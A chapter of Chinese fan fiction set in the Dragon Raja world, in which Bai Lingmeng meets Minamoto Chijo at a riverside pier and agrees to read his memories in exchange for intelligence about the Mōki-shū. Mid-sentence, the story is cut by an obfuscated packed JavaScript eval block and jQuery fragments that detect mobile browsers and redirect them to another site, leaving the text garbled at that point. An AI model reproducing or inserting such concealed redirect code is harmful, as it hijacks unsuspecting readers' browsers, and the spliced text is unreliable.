76.月下茶会,影之邀约
作品:《[龙族]幻想乡》 猛鬼众的反制虽被神秘的“七日之影”无形消弭,但那份冰冷的恶意与精准的陷阱,如同投入心湖的毒刺,在白灵梦心中持续散发着寒意。她深知自己的暗中调查已引起注意,对方(无论是猛鬼众还是其背后的赫尔佐格)的耐心和手段都在升级。继续以原有的方式在暗处单打独斗,风险将呈指数级增长。
她需要新的情报来源,新的突破口,甚至……新的盟友。而在东京这片泥沼中,若论对猛鬼众乃至赫尔佐格最了解、最深入,同时又与蛇岐八家纠缠最深、立场最为暧昧复杂的,无疑只有一个人——源稚女(风间琉璃)。
自那次“流星雨”告别与“待续”宣言后,源稚女那边再未主动联系,白灵梦也恪守“无害共鸣者”的界限,没有再进行任何直接的精神接触。但她能感觉到,那道来自歌舞伎町方向的、冰冷而审视的目光,并未远离。他像一只蛰伏在蛛网中央的蜘蛛,静待着猎物(或访客)再次触动丝线。
是时候,主动去触碰那根危险的丝线了。但不能再像上次茶室会面那样,带着过于明显的试探和算计。她需要一个更自然、更具“共鸣”性质的切入点,一个既能表达意图又不显突兀的“邀约”。
契机出现在一次分部组织的、关于日本古典艺术与精神现象的研讨会上。白灵梦在发言中,引用了《古事记》中伊邪那美与伊邪那岐的故事,探讨神话中“生死”、“洁净与污秽”、“创造与毁灭”的二元对立在精神层面的映射。她的分析角度新颖,将神话叙事与现代心理学概念结合,引起了不少与会者的兴趣。
她知道,源稚女一定在关注着她的动向。而“伊邪那美”这个主题,对他而言,绝不仅仅是一个学术话题。
果然,两天后的深夜,当白灵梦结束一次针对绘梨衣“秘密通道”稳定性的冥想练习后,一股极其微弱、却无比熟悉的、属于源稚女的独特精神波动,如同穿过重重雨幕的湿冷微风,轻轻拂过了她意识的外围。
这一次,波动中没有任何攻击性或强烈的情绪,只有一道极其简洁、近乎中性、却带着不容错辨的邀请意味的意念碎片,指向一个地点和时间:
「明晚,子时,隅田川畔,旧渡口。」
没有更多信息,没有解释,甚至没有署名。就像一个抛出的谜题,去或不去,全凭她自己的判断与勇气。
白灵梦没有丝毫犹豫。她知道,这是源稚女对她近期表现(无论是明面上对绘梨衣的“辅助”,还是暗地里与猛鬼众的“交锋”,或许还包括她研讨会上的发言)的某种回应,也是他抛出的新一轮试探与“游戏”。
她立刻开始准备。地点选在隅田川畔的旧渡口,那里远离繁华街区,夜晚人迹罕至,视野开阔,便于观察也便于隐匿或撤离——对双方都是如此。这符合源稚女一贯谨慎的风格。
赴约前,白灵梦做了最坏的打算和最周全的准备。她仔细检查了随身装备(包括几件来自卡塞尔装备部的、非致命但效果显著的“小玩意儿”),规划了至少三条撤离路线,并在公寓内留下了加密的定时讯息,一旦逾期未归便会自动发送给昂热和楚子航。
明晚,子夜时分,白灵梦换上了一身便于行动的深色便装,如同融入夜色的水鸟,悄然抵达了约定的旧渡口。
这里果然荒凉。破败的木制栈道延伸向黑暗的河面,锈蚀的铁链拴着几条废弃的小船,随着河水轻轻摇晃。远处城市的灯火在河面上投下破碎的光影,对岸工厂的轮廓在夜色中如同蹲伏的巨兽。空气中弥漫着河水特有的腥味和远处隐约的工业气息。
源稚女已经在那里了。
他没有坐在任何地方,只是静静地站在栈道尽头,背对着白灵梦,望着漆黑流淌的隅田川水。他今晚没有穿和服或侍者装束,只是一身简单的黑色衬衫和长裤,外面罩着一件款式古典的深灰色羽织,长发用一根素色的发带松松束在脑后。月光勾勒出他挺拔却略显单薄的背影,周身弥漫着一股与这荒凉夜景融为一体的、深沉的孤寂感。
听到白灵梦的脚步声,他缓缓转过身。
月光下,他的脸显得更加苍白,近乎透明。那双总是烟雨朦胧的眼眸,此刻清晰地映着河面的微光和远处的灯火,少了几分在“镜花水月”时的慵懒魅惑,也少了茶室中的冰冷审视,反而透着一丝……近乎疲惫的平静,以及一种洞悉一切的、淡淡的玩味。
“你来了。”他开口,声音在寂静的河畔显得异常清晰,带着一丝夜风的凉意,“比我想象的……要准时。”
“源先生的邀请,不敢怠慢。”白灵梦在距离他几步远的地方停下,保持着安全距离。她没有使用“风间先生”或任何其他称呼,直接点出了“源”这个姓氏。
源稚女似乎并不意外,嘴角勾起一丝极淡的、辨不出情绪的弧度。“‘源’……呵,很久没人用这个姓氏称呼我了。”他顿了顿,目光落在白灵梦脸上,仿佛在重新评估她,“上次的‘流星雨’,很别致。‘待续’这个词,也用得恰到好处。”
“只是有感而发,希望没有冒犯。”白灵梦谨慎地回答。
“冒犯?”源稚女低笑一声,笑声中带着一丝自嘲,“能冒犯我的东西,已经不多了。”他转过身,重新面向河水,语气变得有些飘忽,“你上次在研讨会上,提到了伊邪那美。”
“是的。我认为那个神话中蕴含的精神矛盾,很能反映某些……极端处境下的心理状态。”白灵梦顺着话题说,同时仔细观察着他的反应。
源稚女沉默了片刻,才缓缓道:“伊邪那美……生于污秽,死于污秽,心怀怨恨,却也是生命的源头之一。很矛盾,不是吗?”他的声音很轻,仿佛在自言自语,“就像有些人,身在泥沼,心向星光,却连仰望的资格都被剥夺,最终只能与污秽同化,或者……成为他人眼中更可怖的污秽本身。”
他的话意有所指,充满了浓重的自我投射。白灵梦心中微动,但没有接话,只是静静地听着。
“你说,‘待续’。”源稚女忽然话锋一转,再次看向她,眼神变得锐利了些许,“那么,你希望‘续’什么?继续玩你那‘无害共鸣者’的小游戏?还是……想从我这里,得到些什么?”
直球。他终于问出了核心问题。
白灵梦知道,此刻任何虚伪的掩饰都是徒劳。她迎着他的目光,坦然道:“我希望能了解更多。关于这片土地真正的历史,关于蛇岐八家与猛鬼众纠缠的根源,关于……像伊邪那美那样,被困在宿命与污秽中的灵魂,是否有其他的可能。”
她没有直接提白王、赫尔佐格或任何具体人名,而是用了更抽象、更具共鸣性的表述。
“其他的可能?”源稚女重复着这个词,眼中闪过一丝讥诮,却又很快被更深的虚无覆盖,“在这座城市,在这片被诅咒的血脉里,‘可能’是最奢侈的东西。每个人都被编织在既定的网里,挣扎得越厉害,缠得越紧。”
“但如果连挣扎都放弃,那就真的只剩下被吞噬的命运了。”白灵梦轻声说,语气却异常坚定,“至少,有人还在尝试给予选择,播撒微光,哪怕只是极其微弱的。”
她指的是绘梨衣,也隐约指向她自己与源稚女之间那脆弱的“共鸣”。
源稚女的身体几不可察地僵硬了一瞬。他当然明白白灵梦在指什么。关于绘梨衣的变化,关于白灵梦在其中的作用,以他的情报网络,不可能一无所知。他眼中那抹讥诮褪去,取而代之的是一种极其复杂的、混合着痛苦、悲哀、审视以及一丝几乎无法捕捉的……微弱的动摇?
“微光……”他喃喃道,目光投向遥远的、被灯火污染的夜空,“有时候,微光只会照亮更深的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17161983|193504||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
黑暗,让人看清自己身处何等绝望的境地。”
“但也可能指引方向,哪怕只是一线。”白灵梦毫不退让,“源先生,你邀请我来到这里,总不只是为了讨论哲学与绝望吧?”
源稚女转过头,深深地看着她,那目光仿佛要将她灵魂深处的一切都挖掘出来。良久,他才缓缓开口,声音恢复了那种冰冷的平静:
“猛鬼众近期会有一次‘大动作’。目标不是蛇岐八家的某个产业或人物,而是……‘神’的遗迹本身,或者说,是通往遗迹的‘钥匙’之一。”
白灵梦心中一震!这情报的价值,远超她之前的任何收获!
“时间?地点?”她尽力保持声音平稳。
“具体的情报,不会这么轻易给你。”源稚女淡淡道,“这需要……‘价值’来交换。”
“你想要什么?”白灵梦直接问。
源稚女没有立刻回答,而是从羽织内袋中,取出了一个用黑色丝绒包裹的、巴掌大小的扁平物件,递了过来。
“这里面,有一些‘有趣’的记录。关于鹿取,关于神社,关于……‘鬼’的第一次诞生。”他的声音带着一种奇异的空洞感,“我需要你,用你的‘黄粱梦’,为我‘读取’其中一段特定的记忆碎片——不是全部,只是我需要确认的那一段。作为交换,我会给你关于猛鬼众行动的确切时间和地点,以及……一个或许能救下不少人性命的‘预警’。”
白灵梦接过那个丝绒包裹,感觉手中沉甸甸的。读取源稚女的记忆碎片?这无疑是极其危险的行为,不仅可能触及他最深的创伤,更可能让她自身的精神受到严重污染甚至反噬。而且,他为什么要她来读?他自己无法面对?还是想测试她的能力(或意志)?
“为什么是我?”她问。
“因为你的‘洁净’。”源稚女的回答出乎意料地直接,“也因为……你是‘局外人’。有些记忆,需要一双没有被仇恨和鲜血彻底污染的眼睛来‘见证’,才能分辨出其中被刻意掩盖或扭曲的部分。”他顿了顿,语气带上了一丝自嘲,“当然,你也可以选择拒绝。游戏而已,本就没什么保障。”
白灵梦看着手中的丝绒包裹,又看向源稚女那双在月光下显得格外幽深的眼睛。她知道,这是一个陷阱,一个考验,也可能是一个……通往核心秘密的、危险而诱人的入口。
答应,意味着更深地卷入源稚女的悲剧与猛鬼众的阴谋,承担巨大的精神风险。
拒绝,可能错失关键情报,也让之前建立起的微弱联系付诸东流,甚至可能激怒对方。
河风拂过,带着深夜的寒意。远处,东京的霓虹依旧闪烁,映照着这片寂静荒凉的旧渡口,也映照着月光下对峙的两人。
片刻的沉默后,白灵梦缓缓收紧了握住丝绒包裹的手指。
“好。”她的声音清晰而平静,“我答应。”
源稚女眼中闪过一丝难以言喻的光芒,仿佛有瞬间的释然,又仿佛有更深的黑暗在涌动。
“明智的选择。”他低声道,“那么,期待你的‘解读’。下一次联络的方式和时间,我会通知你。记住,‘蝴蝶’小姐,踏入他人的记忆深渊,要做好被其中的黑暗……永久沾染的准备。”
说完,他不再停留,转身,如同出现时一样悄无声息,身影很快融入渡口另一侧的阴影之中,消失不见。
白灵梦独自站在栈道上,手中紧握着那个冰冷的丝绒包裹。河风吹动她的发梢,远处的城市灯火倒映在她清澈的眼眸中,却照不进那深处的凝重。
月下茶会,影之邀约。
她接下了这份来自深渊的“礼物”,也接下了随之而来的、无法预测的危险与责任。
游戏,进入了更深的回合。而她手中的筹码与背负的重量,都在此刻,悄然增加。

